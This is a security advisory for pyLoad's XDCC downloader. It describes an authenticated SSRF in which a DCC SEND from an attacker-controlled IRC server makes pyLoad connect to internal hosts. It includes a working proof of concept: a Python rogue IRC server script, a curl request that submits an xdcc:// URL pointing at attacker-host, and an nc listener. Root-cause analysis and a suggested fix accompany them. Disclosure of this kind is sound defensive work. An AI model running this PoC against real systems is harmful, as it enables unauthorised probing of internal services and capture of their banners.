GHSA-MQ74-H4CM-5Q3Q
pyLoad XDCC downloader: authenticated ADD user triggers SSRF via unvalidated DCC SEND IP over raw TCP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-MQ74-H4CM-5Q3Q divulgada · CVSS 5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
pyLoad's XDCC downloader connects a raw TCP socket to an IP address and port that it reads from an attacker-controlled IRC DCC SEND message, without validating that the destination is a globally routable address. An authenticated user holding the ADD permission submits an `xdcc://` URL pointing at an IRC server the attacker controls; that server replies with a DCC SEND naming any internal IP address, and pyLoad connects to it. This yields server-side request forgery against internal and loopback services (port probing and banner capture). The SSRF protections that pyLoad applies to its HTTP download path do not cover this code path.
Root Cause
pyLoad added SSRF protection to its pycurl-based HTTP download path through a `pycurl.PREREQFUNCTION` callback that rejects connections to non-global addresses. That control is bound to the libcurl handle and only fires for HTTP(S) transfers. The XDCC downloader uses a completely separate transport: it parses an IP address out of the IRC DCC SEND message and hands it directly to a bare Python `socket.connect()` with no comparable validation. The DCC SEND integer is converted to any IPv4 address and connected unconditionally, so loopback and RFC1918 destinations are reachable. URL submission also does not help, because the API-level host check only inspects `http`/`https` schemes and ignores the `xdcc`/`xdccs` schemes.
Sink: XDCCRequest.download(), src/pyload/core/network/xdcc/request.py:89
self.dcc_sock.connect((ip, port)) # request.py:111 (no IP validation)
Missing-guard site: XDCC.process_irc_command(), src/pyload/plugins/downloaders/XDCC.py
ip = socket.inet_ntoa(struct.pack("!I", int(m.group("IP")))) # XDCC.py:1123
self.do_download(ip, self.dcc_port, False, self.dcc_file_name, file_size) # XDCC.py:1142
Scheme gap: is_global_host() only checks http/https, src/pyload/core/api/__init__.py:611
HTTP-only control: pycurl.PREREQFUNCTION / _pre_request_callback,
src/pyload/core/network/http/http_request.py:107,669-690Impact
An authenticated user with the ADD permission (the lowest non-anonymous privilege level, the same level required by the related HTTP redirect SSRF) can cause the pyLoad server to open TCP connections to arbitrary internal hosts and ports chosen by the attacker. Because the DCC transport only reads data that the remote peer sends (pyLoad transmits no HTTP request, only a binary byte-count acknowledgement), the demonstrated capability is limited to confirming whether an internal service is reachable and capturing data that the service emits on connect, such as SSH, SMTP, Redis, or MySQL greeting banners. Captured data is written to a download file; retrieving it also requires the DOWNLOAD permission. By varying the IP and port in successive DCC SEND replies, the attacker can map internal services. HTTP-only internal targets such as cloud metadata endpoints are not directly reachable through this vector because no HTTP request is sent.
Proof of Concept
Requirements: a pyLoad account with the ADD permission, and a host the attacker
controls that can run a minimal IRC server reachable from the pyLoad instance.
Dependencies: Python 3.6+ standard library only.Reproduction steps:
- On the SSRF target, start a listener to observe the inbound connection, for example `nc -l 127.0.0.1 8080`.
- On the attacker host, run a minimal IRC server that completes IRC registration, answers a channel JOIN, and replies to an XDCC SEND request with a DCC SEND naming the target. The IP is encoded as the 32-bit integer form that the XDCC parser expects.
- Submit the XDCC URL to pyLoad as an authenticated ADD user.
# Minimal attacker IRC server (stdlib only). On an XDCC SEND request it replies
# with a DCC SEND pointing pyLoad at an internal target.
import socket, struct, threading
TARGET_IP, TARGET_PORT, BOT = "127.0.0.1", 8080, "xdccbot"
def ip_to_int(ip):
return struct.unpack("!I", socket.inet_aton(ip))[0]
def handle(conn):
nick, sent, buf = None, False, b""
while True:
data = conn.recv(4096)
if not data:
break
buf += data
while b"\r\n" in buf:
line, buf = buf.split(b"\r\n", 1)
p = line.decode("utf-8", "replace").split()
if not p:
continue
c = p[0].upper()
if c == "NICK":
nick = p[1]
elif c == "USER":
conn.sendall(f":irc.local 001 {nick} :Welcome\r\n:irc.local 376 {nick} :End MOTD\r\n".encode())
elif c == "JOIN":
ch = p[1]
conn.sendall(f":{nick}!~u@c JOIN {ch}\r\n:irc.local 353 {nick} = {ch} :{nick} {BOT}\r\n:irc.local 366 {nick} {ch} :End\r\n".encode())
elif c == "PRIVMSG" and p[1].lower() == BOT and "xdcc send" in line.decode("utf-8","replace").lower():
if not sent:
sent = True
dcc = f'\x01DCC SEND "probe.bin" {ip_to_int(TARGET_IP)} {TARGET_PORT} 1024\x01'
conn.sendall(f":{BOT}!~b@irc.local PRIVMSG {nick} :{dcc}\r\n".encode())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 6667)); s.listen(5)
while True:
conn, _ = s.accept()
threading.Thread(target=handle, args=(conn,), daemon=True).start()# Authenticated submission (ADD permission). Attacker host runs the IRC server above.
curl -X POST 'http://pyload-host:8000/api/add_package' \
-H 'Content-Type: application/json' \
-H 'X-API-Key: <attacker-session-api-key>' \
-d '{"name":"ssrf-test","links":["xdcc://attacker-host:6667/#test/xdccbot/#1/"],"dest":1}'# On the SSRF target listener (nc), an inbound TCP connection from the pyLoad host
# is observed at 127.0.0.1:8080, confirming pyLoad connected to the attacker-chosen
# internal address parsed from the DCC SEND integer 2130706433 -> 127.0.0.1.Attack Chain
- Exposure: The XDCC downloader ships in the published package and is registered by the plugin manager; its `__pattern__` at `src/pyload/plugins/downloaders/XDCC.py:727` matches `xdcc://` and `xdccs://` URLs, and the submission regex `RE_URLMATCH` at `src/pyload/core/api/__init__.py:49` admits those schemes.
- Control: An authenticated ADD user submits an `xdcc://` URL via `add_package` at `src/pyload/core/api/__init__.py:559`, controlling the IRC server host and, through that server, the DCC SEND message content.
- Path: `add_package` forwards links to `file_manager.add_links()` and `plugin_manager.parse_urls()`, which route the URL to the XDCC plugin; `XDCC.process()` at `src/pyload/plugins/downloaders/XDCC.py:917` selects an `XDCCRequest` via `RequestFactory.get_request(..., request_type="XDCC")` at `src/pyload/core/network/request_factory.py:35-36`.
- Guard: The scheme-restricted `is_global_host()` at `src/pyload/core/api/__init__.py:611` does not apply to `xdcc`, and the `pycurl.PREREQFUNCTION` address check at `src/pyload/core/network/http/http_request.py:107,669-690` never runs on the XDCC socket. No IP validation exists on this path.
- Primitive: `XDCC.process_irc_command()` parses the DCC SEND IP at `src/pyload/plugins/downloaders/XDCC.py:1123` and calls `do_download()` at line 1142, reaching `XDCCRequest.download()` which executes `self.dcc_sock.connect((ip, port))` at `src/pyload/core/network/xdcc/request.py:111`.
- Result: pyLoad opens a TCP connection to the attacker-chosen internal address and writes any data the service returns to a download file, enabling internal service probing and banner capture.
Bypass Evidence
The relevant protection is pyLoad's SSRF address validation. It is implemented only as a libcurl `PREREQFUNCTION` callback bound to the HTTP transport at `src/pyload/core/network/http/http_request.py:107` and `669-690`, plus a scheme-restricted hostname check at `src/pyload/core/api/__init__.py:611` that inspects only `http` and `https`. A search across `src/pyload/plugins/downloaders/XDCC.py` and `src/pyload/core/network/xdcc/` for any address validation (`is_global`, `is_private`, `is_loopback`, `is_ip_address`, `PREREQ`) returns no results, so the XDCC transport has no equivalent guard. Attempts to find a compensating control failed: the IRC origin check is trivially satisfied because the attacker controls the IRC server and specifies the bot name in the submitted URL; the only `download_start` addon handler sends a chat notification and performs no validation; and the DCC acknowledgement is a fixed binary byte-count (`struct.pack` at `src/pyload/core/network/xdcc/request.py:79-87`) that the attacker cannot shape into protocol injection, which also bounds the impact to read-only probing. This path is distinct from the pycurl HTTP redirect SSRF and from the previously reported addon and certificate-chasing SSRF issues, which all use different transports; no prior fix covers the raw-socket XDCC path.
Affected Versions
- Ecosystem: `pip`
- Package: `pyload-ng`
- Confirmed affected range: `<= 0.5.0b3.dev102`
- Latest release checked: `0.5.0b3.dev102` (PyPI
https://pypi.org/project/pyload-ng/) - Fix status: Not fixed. The XDCC transport has never had destination-address validation; the existing SSRF control applies only to the HTTP download path.
The XDCC plugin and its request class ship in the published distribution (`setup.cfg` uses `packages = find:` with `package_dir = src`, so every package under `src/` is included), and no release in the published history has applied an address check to the XDCC socket connection.
Suggested Fix
Enforce the same destination-address invariant on every outbound transport, not only the HTTP path. Before `XDCCRequest.download()` performs `self.dcc_sock.connect((ip, port))` at `src/pyload/core/network/xdcc/request.py:111`, resolve and validate the parsed DCC SEND IP with the existing `is_global_address()` helper and reject non-global, loopback, link-local, and private destinations; validation should occur at the point the IP is parsed in `XDCC.process_irc_command()` so both the active and SSL (`DCC SSEND`) paths are covered. Also validate the IRC server host from the submitted URL before the initial `connect()`, and apply the same check to the passive DCC variant that binds a listening socket. Because the DCC SEND target arrives in a separate IRC message rather than in the submitted URL, a submission-time URL check alone is insufficient; the guard must run immediately before each socket connection.
---
Reported by zx.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypipyload-ng |
Sin parche | — | — | 0.5.0b3.dev102 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/pyload/pyload/security/advisories/GHSA-mq74-h4cm-5q3qLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
